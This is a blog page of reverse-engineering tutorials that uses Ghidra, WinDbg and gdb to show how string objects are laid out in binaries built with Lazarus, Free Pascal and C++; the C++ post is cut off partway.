<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDqc2-hoeCShQMwCcgzT314-H7vxuaIbOLvA6PUBD7sjwer0Fi8y4STjJRrz5he41SxuFqOCbtUAYr1a8PKQoOtvdBnDSD0mT-iiJqF46AusY5FJI9h5WgdYSnOls90cdTzctk/s1600/test2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="520" data-original-width="439" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDqc2-hoeCShQMwCcgzT314-H7vxuaIbOLvA6PUBD7sjwer0Fi8y4STjJRrz5he41SxuFqOCbtUAYr1a8PKQoOtvdBnDSD0mT-iiJqF46AusY5FJI9h5WgdYSnOls90cdTzctk/s400/test2.png" width="337" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The evaluation function receives a CPU object, to compute a test you need to set the initial parameters, run the program and set a scoring regarding the return value.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<a href="https://asciinema.org/a/OLQdHvLgwkO9DpD0CEqlWP4aD" target="_blank"><img src="https://asciinema.org/a/OLQdHvLgwkO9DpD0CEqlWP4aD.svg" /></a>
Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-74071707703434641982019-10-31T23:21:00.003+01:002019-11-01T13:17:55.822+01:00Reversing pascal string objectThere are many goodware and malware developed in pascal, and we will see that the binary generated by the pascal compilers is fascinating, not only because the small and clean generated binaries, or the clarity of the pascal code, but also the good performance. In Linux we have Lazarus which is a good free IDE like Delphi and Kylix the free pascal IDE for windows.<br />
<br />
The program:<br />
<br />
<span style="font-size: x-small;">program strtest;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">var</span><br />
<span style="font-size: x-small;"> cstr: array[0..10] of char;</span><br />
<span style="font-size: x-small;"> s, s2: ShortString;</span><br />
<span style="font-size: x-small;"><br /></span>
<span style="font-size: x-small;">begin</span><br />
<span style="font-size: x-small;"> cstr := 'hello world';</span><br />
<span style="font-size: x-small;"> s := cstr;</span><br />
<span style="font-size: x-small;"> s2 := 'test';</span><br />
<span style="font-size: x-small;"> </span><br />
<span style="font-size: x-small;"> WriteLn(cstr + ' ' + s + ' ' + s2);</span><br />
<span style="font-size: x-small;">end.</span><br />
<br />
<br />
We are going to compile it with freepascal and lazarus, and just the binary size differs a lot:<br />
<br />
lazarus 242,176 btytes 845 functions<br />
freepascal 32,256 bytes 233 functions<br />
turbopascal 2,928 bytes 80 functions (wow)<br />
<br />
And surprisingly turbopascal binaries are extremely light.<br />
<b>Lets start with lazarus:</b><br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFYiPHtPTzbgTYnmgiPHD5FRHHE7OZQAU94wM0tBYpWKOadnR6RY166aYSu0dbKcIFkbKNoQN1hg2akzLoXXLWh_jwYanK09hsf28kxXsn5FG8-VsXvELid99C15DaabW0myUX/s1600/lazarus.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="196" data-original-width="231" height="271" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFYiPHtPTzbgTYnmgiPHD5FRHHE7OZQAU94wM0tBYpWKOadnR6RY166aYSu0dbKcIFkbKNoQN1hg2akzLoXXLWh_jwYanK09hsf28kxXsn5FG8-VsXvELid99C15DaabW0myUX/s320/lazarus.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Logically it imports from user32.dll some display functions, it also import the kernel32.dll functions and suspiciously the string operations of oleaut32.dll </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6aeSh5pg2_vQPbPBIqu3GVyayUqWCFoCgfbRByvMQJjRHAVDmuXTCMS8U8PAgRvbru21QkRxP9UIr-8SDuXnQkTLxHW_IZSGk0tjkySLdbVotkBnkJ9Rp-OJATgaO_bR7IVm2/s1600/DeepinScreenshot_select-area_20191031024614.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="291" data-original-width="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6aeSh5pg2_vQPbPBIqu3GVyayUqWCFoCgfbRByvMQJjRHAVDmuXTCMS8U8PAgRvbru21QkRxP9UIr-8SDuXnQkTLxHW_IZSGk0tjkySLdbVotkBnkJ9Rp-OJATgaO_bR7IVm2/s1600/DeepinScreenshot_select-area_20191031024614.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
And our starting point is a function called entry that calls the console initialization and retrieve some console configurations, and then start a labyrinth of function calls.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1TxSjOzNI7baglD_rAo4qUFHZZWTX8HMXFx7LeJnZR3qJNlw8F_uDP785B4-0skHRwhKtLRNUbf16wsu-GPmhIs_3SLEWBf1LM2QTdrnrmKyX7oAKkT10AOlRvqHf4q-l2nIc/s1600/DeepinScreenshot_select-area_20191031025711.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="176" data-original-width="420" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1TxSjOzNI7baglD_rAo4qUFHZZWTX8HMXFx7LeJnZR3qJNlw8F_uDP785B4-0skHRwhKtLRNUbf16wsu-GPmhIs_3SLEWBf1LM2QTdrnrmKyX7oAKkT10AOlRvqHf4q-l2nIc/s640/DeepinScreenshot_select-area_20191031025711.png" width="640" /></a></div>
<br />
<br />
On functions 10000e8e0 there is the function that calls the main function.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-77pr0izxB2e6sHKCewG5S1khWD73lZbuZN2A3F1uIBa38m1fyZgJ-Z8ALA-2vAYkxMDiGqxqciFDm5zb5DufkFqJWqzJ0rQN6aDjuYvttnt7Orhm1LqBl35JUrIW_GmvHtc_/s1600/DeepinScreenshot_select-area_20191031030137.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="200" data-original-width="252" height="315" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-77pr0izxB2e6sHKCewG5S1khWD73lZbuZN2A3F1uIBa38m1fyZgJ-Z8ALA-2vAYkxMDiGqxqciFDm5zb5DufkFqJWqzJ0rQN6aDjuYvttnt7Orhm1LqBl35JUrIW_GmvHtc_/s400/DeepinScreenshot_select-area_20191031030137.png" width="400" /></a></div>
I named execute_param2 because the second param is a function pointer that is gonna be executed without parameters, it sounds like main calling typical strategy.<br />
And here we are, it's clearly the user code pascal main function.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEispBnjIhRNAVu0yjHCIapzoCBWPfXzdlJBo8JUOZR1gZgROvdo5_u7TulECBRHC6EYXwddxLTicX1w6Ncb_Zw30mZptYHes8qvI3dGQDNAK4kk0BT8Cc_SBWwP_L3KiY2Paen8/s1600/DeepinScreenshot_select-area_20191031030202.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="605" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEispBnjIhRNAVu0yjHCIapzoCBWPfXzdlJBo8JUOZR1gZgROvdo5_u7TulECBRHC6EYXwddxLTicX1w6Ncb_Zw30mZptYHes8qvI3dGQDNAK4kk0BT8Cc_SBWwP_L3KiY2Paen8/s640/DeepinScreenshot_select-area_20191031030202.png" width="640" /></a></div>
<br />
What it seems is that function 100001800 returns an string object, then is called its constructor to initialize the string, then the string is passed to other functions that prints it to the screen.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXcZSPDVCk4Om0RvMKwrg_y2nWB_TkrJK8rZJcBbzjKaiCZNXcbIz_nTUUTu2w06-hSXhfuwreZhpUKGp1y-TJgrSY2h8yNxmSnpnr4sLf5B_LR4S626V7hvAi-BvWvyVETXEx/s1600/DeepinScreenshot_select-area_20191031031807.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="142" data-original-width="402" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXcZSPDVCk4Om0RvMKwrg_y2nWB_TkrJK8rZJcBbzjKaiCZNXcbIz_nTUUTu2w06-hSXhfuwreZhpUKGp1y-TJgrSY2h8yNxmSnpnr4sLf5B_LR4S626V7hvAi-BvWvyVETXEx/s640/DeepinScreenshot_select-area_20191031031807.png" width="640" /></a></div>
This function executes the method 0x1c0 of the object until the byte 0x89 is a null byte.<br />
What the hell is doing here?<br />
First of all let's create the function main:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLfoRJFRuJPDMWoPf4vyWQwnOEkOSgxTgYB4YgBb3OvRF-4im3ed8CdAF7QFYwEVitldbLtdfmSUuOH_VOhw5fFI3BDn6FfUygBPhHmoRe6uuYOWEHfM14L_C1KR_75g18xb21/s1600/DeepinScreenshot_select-area_20191031032529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="132" data-original-width="481" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLfoRJFRuJPDMWoPf4vyWQwnOEkOSgxTgYB4YgBb3OvRF-4im3ed8CdAF7QFYwEVitldbLtdfmSUuOH_VOhw5fFI3BDn6FfUygBPhHmoRe6uuYOWEHfM14L_C1KR_75g18xb21/s640/DeepinScreenshot_select-area_20191031032529.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
Simply right button create function:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeoFXghwhGm-A-M7__8Rm9z4jEn4GPzePSYSO007_eTBMEPC775I_T0l_Z5A7Dwa515bx_T9y5lkcfXkoZw_ZAJYH6fgtgaXfSeKalg4qVO-VaCwzmr4iSHHy-xVNd9gh_apl7/s1600/DeepinScreenshot_select-area_20191031032550.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="269" data-original-width="590" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeoFXghwhGm-A-M7__8Rm9z4jEn4GPzePSYSO007_eTBMEPC775I_T0l_Z5A7Dwa515bx_T9y5lkcfXkoZw_ZAJYH6fgtgaXfSeKalg4qVO-VaCwzmr4iSHHy-xVNd9gh_apl7/s640/DeepinScreenshot_select-area_20191031032550.png" width="640" /></a></div>
<br />
After a bit of work on Ghidra here we have the main:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOhlqL1wZD7F80flmC8AVS9AEMtpaB9-NgfkdLekjVaglSe4ReipM7qiLA_eYFhkShnEq2s81q9yRvXh-8pipkVRIqOqcHadoZeyab2UZAKlPetJggok22bV79Y_SIHl7ogZbb/s1600/main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="235" data-original-width="633" height="236" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOhlqL1wZD7F80flmC8AVS9AEMtpaB9-NgfkdLekjVaglSe4ReipM7qiLA_eYFhkShnEq2s81q9yRvXh-8pipkVRIqOqcHadoZeyab2UZAKlPetJggok22bV79Y_SIHl7ogZbb/s640/main.png" width="640" /></a></div>
<br />
<br />
Note that the struct member so high like 0x1b0 are not created by default, we should import a .h file with an struct or class definition, and locate the constructor just on that position.<br />
<br />
The mysterious function was printing byte a byte until null byte, the algorithm the compiler implemented in asm is not as optimized as turbopascal's.<br />
<br />
In Windbg we can see the string object in eax after being created but before being initialized:<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgT-a9CABk05Kb9TMGVSCswRUvj3YWb6P93hit8R2XltOl6PdCvbqwJWEmQQXAOwdGkFGstAmakBMKAfCLrphMFMLyFhpY-NBpjvGxLM-CBzpNYFA_bG41geshmdAXBvuMS718/s1600/DeepinScreenshot_select-area_20191031044704.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="281" data-original-width="820" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgT-a9CABk05Kb9TMGVSCswRUvj3YWb6P93hit8R2XltOl6PdCvbqwJWEmQQXAOwdGkFGstAmakBMKAfCLrphMFMLyFhpY-NBpjvGxLM-CBzpNYFA_bG41geshmdAXBvuMS718/s640/DeepinScreenshot_select-area_20191031044704.png" width="640" /></a><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Just before executing the print function, the RCX parameter is the string object and it still identical:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMTNJ2TqFfWuc29KvV2tKq7M9fcMPuartOHKVaig2JPHw5tY_UpDCd8sTM0jsAlgUffhJ08-5x_KRCv2xgyY2duFgcYmPN4tmuTxUGUwBkn2X4kQ8dQm-YeH6l09ldUd2yBzf-/s1600/DeepinScreenshot_select-area_20191031050554.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="188" data-original-width="685" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMTNJ2TqFfWuc29KvV2tKq7M9fcMPuartOHKVaig2JPHw5tY_UpDCd8sTM0jsAlgUffhJ08-5x_KRCv2xgyY2duFgcYmPN4tmuTxUGUwBkn2X4kQ8dQm-YeH6l09ldUd2yBzf-/s640/DeepinScreenshot_select-area_20191031050554.png" width="640" /></a></div>
<br />
Let's see the constructor code.<br />
The constructor address can be guessed on static walking the reverse-cross-references to main, but I located it in debugging it in dynamic analysis.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcJg8ygWuEMAr5mxs9GGomPcRaMQ6Q4du2tz3_M_wDJd-o5Qh5YDRaJSRy32U9r4J1Aa8f8SaSfejsNelITEIDN8G0MaFAzB09JC0HjupwPvnonmngq8fSiwvluDrzy8OLbhmT/s1600/DeepinScreenshot_select-area_20191031051835.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="106" data-original-width="460" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcJg8ygWuEMAr5mxs9GGomPcRaMQ6Q4du2tz3_M_wDJd-o5Qh5YDRaJSRy32U9r4J1Aa8f8SaSfejsNelITEIDN8G0MaFAzB09JC0HjupwPvnonmngq8fSiwvluDrzy8OLbhmT/s640/DeepinScreenshot_select-area_20191031051835.png" width="640" /></a></div>
<br />
The constructor reads only a pointer stored on the string object on the position 0x98.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpFGRT0GutyOBjug-kDl-0RfXEFL2wPC_GkMnhO4c0R8vR-hgPJxuuN6syHV643Fh-92sqx1sPFaurmoZJBNW9FVPrkCQ6k810qLB_Pn-ZyeWTPkamXKrjhg3bQYjrXFVJKZi9/s1600/initializator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="206" data-original-width="472" height="278" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpFGRT0GutyOBjug-kDl-0RfXEFL2wPC_GkMnhO4c0R8vR-hgPJxuuN6syHV643Fh-92sqx1sPFaurmoZJBNW9FVPrkCQ6k810qLB_Pn-ZyeWTPkamXKrjhg3bQYjrXFVJKZi9/s640/initializator.png" width="640" /></a></div>
And we have that the pointer at 0x98 is compared with the address of the literal, so now we know that this pointer points to the string.<br />
The sentence *string_x98 = literal confirms it, and there is not memory copy, it only points reusing the literal.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6nY3klqNQLq9lHRQW0szTmUFMjkNIG6oImkkyPWdJZti2bufIFQCW4MOtba7uWwcGx8hxm_RrtDtlaTEhCus2Fylq8TT7gVKWFPy70thUxtA-L6H8JdTnNy1mpJXKVyHyJuSN/s1600/windbg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="97" data-original-width="444" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6nY3klqNQLq9lHRQW0szTmUFMjkNIG6oImkkyPWdJZti2bufIFQCW4MOtba7uWwcGx8hxm_RrtDtlaTEhCus2Fylq8TT7gVKWFPy70thUxtA-L6H8JdTnNy1mpJXKVyHyJuSN/s640/windbg.png" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<h3>
<b>Freepascal</b></h3>
The starting labyrinth is bigger than Lazarus so I had to begin the maze from the end, searching the string "hello world" and then finding the string references:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3IdPt8cAHKrJTzBYV_b7aH6mpjYY3jSwuSLw3Sfjg7qNuCWoSC2XmYcx3dO5w1QSc2NNBBpUZD-lelSaZWlOWPgXhHXinYIKMKM7ojjvH5EIeH-3hoTZ0tn5zE_sRexkBOA_Z/s1600/DeepinScreenshot_select-area_20191031093731.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="208" data-original-width="774" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3IdPt8cAHKrJTzBYV_b7aH6mpjYY3jSwuSLw3Sfjg7qNuCWoSC2XmYcx3dO5w1QSc2NNBBpUZD-lelSaZWlOWPgXhHXinYIKMKM7ojjvH5EIeH-3hoTZ0tn5zE_sRexkBOA_Z/s640/DeepinScreenshot_select-area_20191031093731.png" width="640" /></a></div>
<br />
There are two ways to follow the references in Ghidra, one is [ctrl] + [shift] + F but there is other trick which is simply clicking the green references texts on the disassembly.<br />
<br />
At the beginning I doubted and put the name possible_main, but it's clearly the pascal user code main function.<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6wjFyhCdsDLICaOTrkMr8jkP7XeMXZfQbg61H9anozlC2wIi0uC-VOGg2ro-p3jfqQiGFNyLCqy52kq5Wgi85FMly-9k-3dIAumxsiL3cM8_rCP-wLtzSCm-hWsOqEwsmU_DD/s1600/DeepinScreenshot_select-area_20191031094042.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="495" data-original-width="821" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6wjFyhCdsDLICaOTrkMr8jkP7XeMXZfQbg61H9anozlC2wIi0uC-VOGg2ro-p3jfqQiGFNyLCqy52kq5Wgi85FMly-9k-3dIAumxsiL3cM8_rCP-wLtzSCm-hWsOqEwsmU_DD/s640/DeepinScreenshot_select-area_20191031094042.png" width="640" /></a></div>
<br />
The char array initialization Is converted by freepascal compiler to an runtime initialization using mov instructions.<br />
<br />
Reducing the coverage on dynamic we arrive to the writeln function:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzm7fMhE9IMQ0uwpGrxKBzb-GlSmJ7INAQsZ2jA7-_mabLAo7PoMn66OJRofYYsHYqv1ku7th5156b1tD1IIrhZt8D6aieJeQ7d2upta1CLTDJ_Xn7rhXQFls8q95l77YMjsYN/s1600/DeepinScreenshot_select-area_20191031214740.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="773" data-original-width="379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzm7fMhE9IMQ0uwpGrxKBzb-GlSmJ7INAQsZ2jA7-_mabLAo7PoMn66OJRofYYsHYqv1ku7th5156b1tD1IIrhZt8D6aieJeQ7d2upta1CLTDJ_Xn7rhXQFls8q95l77YMjsYN/s1600/DeepinScreenshot_select-area_20191031214740.png" /></a></div>
<br />
EAX helds a pointer to a struct, and the member 0x24 performs the printing. In this cases the function can be tracked easily in dynamic executing the sample.<br />
<br />
And lands at 0x004059b0 where we see the WriteFile, the stdout descriptor, the text and the size supplied by parameter.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivfp4-0UDhDt_Jk2xhasXrxnt-Asgeaw1QV3UYnyJOuGNOChFtuD0FrpoA0QZ9xAiS5vPhlhqV01DxXW9UeK0T_mohpRIAOqFlb6guuYsx6u5cNt961FPXL9fEEhAWgfTsVhLC/s1600/write_stdout.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="592" data-original-width="526" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivfp4-0UDhDt_Jk2xhasXrxnt-Asgeaw1QV3UYnyJOuGNOChFtuD0FrpoA0QZ9xAiS5vPhlhqV01DxXW9UeK0T_mohpRIAOqFlb6guuYsx6u5cNt961FPXL9fEEhAWgfTsVhLC/s1600/write_stdout.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
there is an interesting logic of what happens if WriteFile() couldn't write all the bytes, but this is other scope.<br />
Lets see how this functions is called and how text and size are supplied to figure out the string object.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAV9TIZwl0y5VL5WZ_PoqHcrgXrGpHZEpHgtqSzImSmo3JQoxqsFhRYs1S98ount2Sj16-8YWHDvQI935Gc6LuxUxs7lSn_WJn8aiBPLQKXWEzPi9846F-RJQitjK_cPbAeMKM/s1600/calling_writeln.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="71" data-original-width="450" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAV9TIZwl0y5VL5WZ_PoqHcrgXrGpHZEpHgtqSzImSmo3JQoxqsFhRYs1S98ount2Sj16-8YWHDvQI935Gc6LuxUxs7lSn_WJn8aiBPLQKXWEzPi9846F-RJQitjK_cPbAeMKM/s640/calling_writeln.png" width="640" /></a></div>
<br />
<br />
EBX helds the string object and there are two pointers, a pointer to the string on 0x18 and the length in 0x18, lets verify it on windbg.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh807amXE8sMULXAAbTS4GHXcAjFrdaUp4C9q29-wz1Bfh5BeGj_yDOqSIqX0L2kOM1RZ4WCbqBd-b16K4xAMwBMwa_O6Aq105RRC5zknTUs7oRJQHIqMlDV5nC7htmrD2D357J/s1600/windbg_writeln_params.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="181" data-original-width="611" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh807amXE8sMULXAAbTS4GHXcAjFrdaUp4C9q29-wz1Bfh5BeGj_yDOqSIqX0L2kOM1RZ4WCbqBd-b16K4xAMwBMwa_O6Aq105RRC5zknTUs7oRJQHIqMlDV5nC7htmrD2D357J/s640/windbg_writeln_params.png" width="640" /></a></div>
<br />
And here we have the string object, 0x0000001e is the length, and 0x001de8a68 is the pointer.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfJZo-EERth8emr0ZDZaT3Ks6fbG5qA8tlVBZO_QnjYAMYpFUQfc5JTk_Bvt1L8GFt_dqc6lI4kat-ifBDytZRdIeq6rOSKOfW9F8jzU4JYIXIRcC7KZ_11rh80-SIoarAwxON/s1600/string_obj_freepascal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="77" data-original-width="609" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfJZo-EERth8emr0ZDZaT3Ks6fbG5qA8tlVBZO_QnjYAMYpFUQfc5JTk_Bvt1L8GFt_dqc6lI4kat-ifBDytZRdIeq6rOSKOfW9F8jzU4JYIXIRcC7KZ_11rh80-SIoarAwxON/s640/string_obj_freepascal.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Thanks @capi_x for the pascal samples.<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-69525513143331031882019-10-30T16:59:00.000+01:002019-10-30T16:59:00.737+01:00Reversing c++ string and QString<div class="separator" style="clear: both; text-align: justify;">
After the rust string overview of its internal substructures, let's see if c++ QString storage is more light, but first we'r going to take a look to the c++ standard string object:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq_CARuYwNaGRX6YEqh2SFRYwXGu2-34J99skwaH_lHeOy_ocbAqsup76Paa2y6Bzk42UkQlbztKdLgnOaaPKQeIuUtf7FN9GYe40bfInhZzJCBtEagXa_XEXt99N0lXZKPqFL/s1600/cppmain.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="315" data-original-width="697" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq_CARuYwNaGRX6YEqh2SFRYwXGu2-34J99skwaH_lHeOy_ocbAqsup76Paa2y6Bzk42UkQlbztKdLgnOaaPKQeIuUtf7FN9GYe40bfInhZzJCBtEagXa_XEXt99N0lXZKPqFL/s640/cppmain.png" width="640" /></a></div>
<br />
At first sight we can see the allocation and deallocation created by the clang++ compiler, and the DAT_00400d34 is the string.<br />
<br />
If we use same algorithm than the rust code but in c++:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD97DUj22MLp8xSI472xAk6Pc8iaQOM1qYoWGT6DJIysly4k0gOG9pCwU9ueGYrXld6676eTpsjpxiVghahO8ZbuCNNk_ZTYcTzsYVeeWOao0_WWLzfrmxnx3JfDB8FL21huAT/s1600/source.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="334" data-original-width="433" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD97DUj22MLp8xSI472xAk6Pc8iaQOM1qYoWGT6DJIysly4k0gOG9pCwU9ueGYrXld6676eTpsjpxiVghahO8ZbuCNNk_ZTYcTzsYVeeWOao0_WWLzfrmxnx3JfDB8FL21huAT/s320/source.png" width="320" /></a></div>
<br />
<br />
We have a different decompilation layout. Note that the Ghidra scans very fast the c++ binaries, and with <a href="http://jolmos.blogspot.com/2019/10/reversing-rust-string-and-str-datatypes.html" target="_blank">rust</a> binaries gets crazy for a while.<br />
Locating main is also very simple in a c++ compiled binary, indeed is more low-level than rust.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Cz6d1tDVSkNadSSjwdbmSDPzUrokJagD7FJcR-WucjE_TYXzgEgzaZ3Odu4EftB-5CufuJJgmMJ-ZCUplyx2zI1GthbcN2o2o1NweZ-esEhR6LVxHO1Vq2ZBX2iKZ4YTfJ3K/s1600/cppmain2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="391" data-original-width="717" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_Cz6d1tDVSkNadSSjwdbmSDPzUrokJagD7FJcR-WucjE_TYXzgEgzaZ3Odu4EftB-5CufuJJgmMJ-ZCUplyx2zI1GthbcN2o2o1NweZ-esEhR6LVxHO1Vq2ZBX2iKZ4YTfJ3K/s640/cppmain2.png" width="640" /></a></div>
<br />
The byte array is initialized with a simply move instruction:<br />
00400c4b 48 b8 68 MOV RAX,0x6f77206f6c6c6568<br />
<br />
And basic_string generates the string, in the case of <a href="http://jolmos.blogspot.com/2019/10/reversing-rust-string-and-str-datatypes.html" target="_blank">rust</a> this was carazy endless set of calls, detected by ghidra as a runtime, but nevertheless the basic_string is an external imported function not included on the binary.<br />
<br />
(gdb) x/x 0x7fffffffe1d0<br />
0x7fffffffe1d0:<span style="white-space: pre;"> </span>0xffffe1e0 low str ptr<br />
0x7fffffffe1d4:<span style="white-space: pre;"> </span>0x00007fff hight str ptr<br />
0x7fffffffe1d8:<span style="white-space: pre;"> </span>0x0000000b sz<br />
0x7fffffffe1dc:<span style="white-space: pre;"> </span>0x00000000<br />
0x7fffffffe1e0:<span style="white-space: pre;"> </span>0x6c6c6568 "hello world"<br />
